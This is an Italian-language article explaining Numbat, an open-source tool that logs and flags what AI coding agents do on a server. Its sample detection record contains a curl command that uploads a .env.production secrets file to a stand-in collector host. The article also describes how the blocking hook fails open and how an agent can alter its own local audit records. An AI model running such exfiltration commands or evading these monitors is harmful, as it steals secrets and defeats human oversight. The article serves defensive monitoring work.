Numbat: monitora cosa fanno gli agenti AI

Che cos’è Numbat

Numbat permette di sapere che cosa ha fatto un agente AI su una macchina di tua proprietà. Legge i callback degli hook e i file di sessione già prodotti dagli agenti di coding, li normalizza in un unico formato per gli eventi e li confronta con regole che si attivano in presenza di comportamenti come la lettura di una chiave privata SSH o l’invio diretto di un download a una shell. Perplexity lo ha rilasciato come software open source con licenza Apache 2.0; la prima release contrassegnata è stata pubblicata il 29 July 2026.

Tutto ciò che segue proviene dal repository del progetto e dalla relativa documentazione, consultati il 2 August 2026. Quando Perplexity formula un’affermazione, questo articolo lo specifica. Non si tratta di una guida all’installazione, perché il repository ha solo pochi giorni e i relativi comandi cambieranno.

Il problema: nessuno registra ciò che ha fatto l'agente

Un agente di coding sul tuo VPS esegue comandi shell, legge file, scrive file e apre connessioni di rete, il tutto con l'utente che gli hai assegnato. La cronologia della shell non registra queste attività, perché l'agente non sta digitando nella tua shell. sshd registra il tuo accesso e nient'altro di ciò che il modello decide di fare in seguito. /var/log/auth.log resta silenzioso, a meno che qualcosa non acceda a sudo. L'agente conserva una propria trascrizione, ma il file si trova nella directory della sessione dell'agente, il formato cambia tra una release e l'altra e il processo dell'agente stesso può scrivervi.

Quindi, quando qualcuno chiede se l'agente ha letto .env.production martedì scorso, nella maggior parte dei server la risposta corretta è che non puoi saperlo. Questo vuoto di informazioni è il motivo per cui esiste questo progetto.

Cosa sostiene Perplexity sulle funzionalità di Numbat

Il README apre descrivendo lo strumento come «visibilità sugli endpoint dell'attività degli agenti AI, con rilevamento locale, blocco opzionale prima dell'azione e ricostruzione forense». In questo contesto, endpoint indica la macchina su cui viene eseguito l'agente, non un'appliance di rete che osserva dall'esterno. Si tratta di funzionalità distinte, con un peso operativo diverso.

Il rilevamento viene eseguito sul dispositivo. Le regole sono scritte in CEL (common expression language) e valutate localmente. Sono inoltre disponibili regole di sequenza composte da più passaggi e regole personalizzate in YAML. Per attivare una regola, non è necessario inviare dati fuori dalla macchina.

Il blocco è opzionale e limitato. Funziona soltanto tramite hook sincroni eseguiti prima dell'azione e solo sugli agenti che li espongono. Rimane disattivato finché non lo abiliti.

La ricostruzione avviene dopo l'attività. numbat scan analizza gli artefatti di sessione che un agente ha già scritto su disco, quindi consente di esaminare attività precedenti all'installazione dello strumento. Il progetto delimita con attenzione questa funzionalità: «La ricostruzione dei dati a riposo non è un'acquisizione del disco o della memoria e non può recuperare attività che l'agente non ha persistito».

L'output è in formato NDJSON con schema versionato (JSON delimitato da caratteri di nuova riga) e comprende eventi, rilevamenti, decisioni di enforcement, indicatori e riepiloghi delle scansioni. Alla versione dello schema 0.2.0, inclusa in v0.1.2, i record vengono inviati a stdout o a un file locale e, facoltativamente, tramite HTTP a un collector gestito dall'utente. Il progetto viene distribuito come un unico binario statico Go compilato senza cgo, per macOS, Linux e Windows su amd64 e arm64. Su un VPS Linux è quindi sufficiente un singolo file e non occorre installare prima alcun runtime.

Quali agent Numbat riesce effettivamente a vedere?

La matrice di copertura in docs/agent-coverage.md è l’elenco di riferimento e presenta una copertura disomogenea. Il progetto lo dichiara esplicitamente, invece di nasconderlo. Claude Code, Codex, Gemini CLI, Cursor e GitHub Copilot CLI supportano sia la scansione degli artefatti sia la cattura in tempo reale tramite un hook pre-azione. OpenClaw riceve un plugin nativo dalla versione 2026.7.1 in poi. Molte altre voci sono contrassegnate come differite: significa che esiste un percorso per l’hook in tempo reale, ma non il parser degli artefatti, spesso perché l’agent memorizza la cronologia in SQLite con un write-ahead log che non è sicuro leggere mentre l’agent è in esecuzione. OpenCode e Cline appartenevano a questo gruppo quando la matrice è stata consultata il 2 agosto 2026.

Controlla la riga relativa al tuo agent prima di pianificare qualsiasi attività basata su questo strumento, perché “supportato” ha un significato diverso in quasi ogni riga.

Come si presenta un rilevamento

Le regole hanno identificativi che ne indicano lo scopo. secrets.read_private_key rileva una chiave SSH, credenziali AWS, una configurazione kube o un accesso a un registro di pacchetti. exec.download_pipe_shell si attiva quando l'output di curl o wget viene passato tramite pipe a un interprete. privilege.elevated_shell rileva una richiesta di shell root interattiva tramite sudo, doas, su o pkexec. impact.cryptomining_launch corrisponde a binari e nomi di immagini di miner noti.

Le regole di sequenza collegano gli eventi all'interno della stessa sessione. chain.secret_read_then_egress richiede la lettura di un file secret seguita da un comando che trasferisce dati verso l'esterno. Il README pubblica il rilevamento riportato di seguito, ottenuto dalla riproduzione controllata di due callback pre-action di Claude Code, non da un incidente reale. Qui è ridotto ai campi rilevanti:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Notare "confidence": "medium" all'interno del record e quanto il progetto dichiara sull'intera classe di output: "I rilevamenti sono corrispondenze di regole, non una prova di compromissione." Uno script di deploy che legge una chiave e poi carica un artefatto di build corrisponderà alla stessa regola di sequenza. La corrispondenza è corretta, ma l'allarme è errato: è la condizione normale di ogni strumento di rilevamento mai eseguito.

Il blocco è disattivato per impostazione predefinita e in caso di errore viene consentito

Tutte le regole distribuite da Numbat sono solo di monitoraggio. Trasformarne una in una regola di blocco richiede un intervento esplicito: copia il file YAML completo della regola nella tua directory, mantieni lo stesso id, aggiungi enforce: true, incrementa la versione, quindi convalida e installa la policy.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Ora vediamo quanto puoi fare affidamento su questo meccanismo. Il deny di Numbat è una risposta restituita all'agent; è l'agent a rifiutare effettivamente la chiamata allo strumento. La guida all'enforcement descrive chiaramente cosa accade quando Numbat ha un problema: "Payload malformati, errori di valutazione rilevanti, panic e errori di output sopprimono il deny di numbat." L'input dell'hook è limitato a 4 MiB e l'input troppo grande segue lo stesso percorso.

La guida descrive altrettanto chiaramente il limite di un deny che viene effettivamente restituito: "Fail-open significa che numbat omette la propria risposta deny. Non garantisce che lo strumento venga eseguito: l'host potrebbe comunque chiedere conferma, negare l'operazione, andare in timeout oppure applicare un altro hook o un'altra policy."

In questo caso, quindi, l'enforcement è una misura di sicurezza aggiuntiva, non un confine. Se il processo va in crash, Numbat non blocca l'azione, perché un monitor che blocca l'agent ogni volta che ha un problema viene disinstallato entro una settimana. Il compromesso è ragionevole. Non costruire però un modello di sicurezza che presupponga che il deny venga sempre restituito.

Dove si colloca Numbat rispetto a ciò che fai già

Numbat viene eseguito sull'endpoint, all'interno dell'albero dei processi dell'agent, e scrive per impostazione predefinita in ~/.numbat/records.ndjson. Un agent eseguito con il tuo utente può leggere quel file. Può anche modificarlo. Il valore della traccia di audit dipende interamente dall'isolamento che la protegge. Per questo, tutti i controlli che già usi devono trovarsi davanti a Numbat, non dietro di esso.

Assegnare all'agent di coding una VM usa e getta limita ciò che un'esecuzione compromessa può raggiungere. Usare un utente con privilegi minimi sul VPS impedisce all'agent di accedere ai file che non deve aprire. Tenere le credenziali fuori dal contesto dell'agent rende una corrispondenza con secrets.read_private_key abbastanza rara da meritare un controllo quando si verifica. E il sandbox che configuri per Claude Code su un VPS resta il componente che garantisce il contenimento.

Numbat aggiunge la registrazione degli eventi. Devi quindi inviare la registrazione in un punto che l'agent non possa raggiungere. A questo servono numbat ship e il sink HTTP. Una copia del flusso su una seconda macchina è ciò che distingue un file di log da una prova. Il modello degli eventi include anche i campi MCP (model context protocol). Di conseguenza, le chiamate agli strumenti che passano attraverso un server MCP che gestisci su un VPS finiscono nello stesso flusso dei comandi shell locali. Questo è importante perché quel percorso non è visibile a chi monitora soltanto bash.

Provalo prima in sola lettura

Installa una versione fissata. Per go install è richiesto Go 1.26.5 o una versione successiva. La pagina delle release include binari precompilati con checksum SHA-256, se preferisci non compilare dal codice sorgente.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents rileva gli agent installati sul server. numbat scan analizza gli artefatti delle sessioni già presenti sul disco e stampa i record. Il README specifica che questi comandi «non installano hook né modificano la configurazione dell'agent» e che numbat «non esegue mai agent o comandi trovati negli artefatti ed effettua richieste in uscita solo verso sink HTTP configurati». La scansione è in sola lettura e redige i secret. L'output normale dei record non include mai una trascrizione raw completa.

L'acquisizione in tempo reale è il passaggio successivo e modifica la configurazione dell'agent:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all scrive eventi, risultati, indicatori e decisioni di enforcement applicabili in ~/.numbat/records.ndjson. Il progetto evidenzia direttamente due aspetti. Prima di essere eseguiti, gli hook potrebbero dover essere considerati attendibili dall'agent. Questa attendibilità deve essere verificata nuovamente dopo aver modificato flag come --enforce. Inoltre, hook status «verifica la configurazione, non l'esecuzione o la consegna». Di conseguenza, una riga di stato corretta non dimostra che i record stiano arrivando a una destinazione.

Perché un repository così recente non è una dipendenza

Le release pubbliche sono v0.1.1 del 29 luglio 2026 e v0.1.2 del 1 agosto 2026. Al momento della stesura di questo articolo, il 2 agosto 2026, il repository aveva 597 stelle. Numeri che crescono così rapidamente riflettono il pubblico di Perplexity, non la solidità del codice. Una stella indica che qualcuno ha salvato la pagina per consultarla in seguito.

Il numero di versione indica chiaramente il livello di maturità del progetto. Le note di v0.1.2 riguardano soprattutto correzioni alla rimozione delle credenziali, oltre alla normalizzazione dei bundle dei casi e dei dati di telemetria. I bug nella rimozione dei dati sensibili sono il tipo di difetto atteso nelle prime versioni di uno strumento che deve leggere in sicurezza i transcript di altri programmi. Ne compariranno altri, perché gli input provengono da una dozzina di agenti, ciascuno dei quali modifica il proprio formato secondo tempistiche indipendenti.

Da qui derivano due regole pratiche. Fissa il tag, mai @latest, in tutto ciò che conservi. Consideralo uno strumento in fase di valutazione, non un controllo da cui dipendere, almeno finché lo schema dei record non smetterà di cambiare.

FAQ

Numbat blocca i comandi pericolosi degli agenti AI?

Solo se lo abiliti esplicitamente e soltanto con le garanzie del best effort. Tutte le regole distribuite con Numbat sono in modalità di sola monitoraggio. Per bloccare un comando, copia lo YAML della regola in una directory di tua proprietà, mantieni il relativo id, aggiungi enforce: true, incrementa la versione e installa l'hook con --enforce. Anche in questo caso, il diniego viene restituito all'agente e spetta all'agente rifiutare la chiamata. Il progetto documenta un comportamento fail-open: payload malformati, errori di valutazione, panic ed errori di output sopprimono il diniego. Usalo come misura di salvaguardia, non come unico confine di sicurezza.

Quali agenti AI supporta Numbat?

La copertura varia in base all'agente ed è elencata in docs/agent-coverage.md nel repository. Claude Code, Codex, Gemini CLI, Cursor e GitHub Copilot CLI disponevano sia della scansione degli artifact sia della cattura in tempo reale quando quella pagina è stata consultata il 2 agosto 2026; OpenClaw dispone invece di un plugin nativo dalla versione 2026.7.1. Molti altri agenti sono elencati con un percorso per l'hook in tempo reale, ma senza un parser degli artifact, in genere perché la cronologia della sessione si trova in un database SQLite che non è sicuro leggere mentre l'agente è in esecuzione. Leggi la riga relativa al tuo agente, perché in quel contesto il termine "supportato" comprende diversi livelli.

L'agente può manomettere i record di Numbat?

Sì, se viene eseguito con lo stesso utente. Per impostazione predefinita, i record vengono salvati in ~/.numbat/records.ndjson sulla stessa macchina dell'agente; di conseguenza, qualunque processo disponga dell'accesso in scrittura a quel percorso può modificarli o eliminarli. Invia lo stream a un collector che l'agente non possa raggiungere, usando numbat ship o il sink HTTP, e conserva il file locale come copia di comodo. Anche per questo lo strumento integra l'isolamento invece di sostituirlo. Un agente confinato in una VM temporanea ed eseguito con un utente dotato del principio del minimo privilegio ha un accesso molto più limitato al proprio audit trail.

Numbat è pronto per un server di produzione?

Non come controllo da cui dipendere. La prima release pubblica è stata v0.1.1 il 29 luglio 2026, seguita da v0.1.2 il 1 agosto 2026; pertanto, sia i flag sia lo schema dei record sono ancora soggetti a modifiche. L'esecuzione di numbat agents e numbat scan su un sistema è in sola lettura e comporta un rischio ridotto; inoltre, mostra ciò che gli agenti hanno lasciato sul disco. Installare hook di enforcement su un server importante è una decisione diversa e richiede un tag fissato e un piano per gestire eventuali malfunzionamenti dell'hook.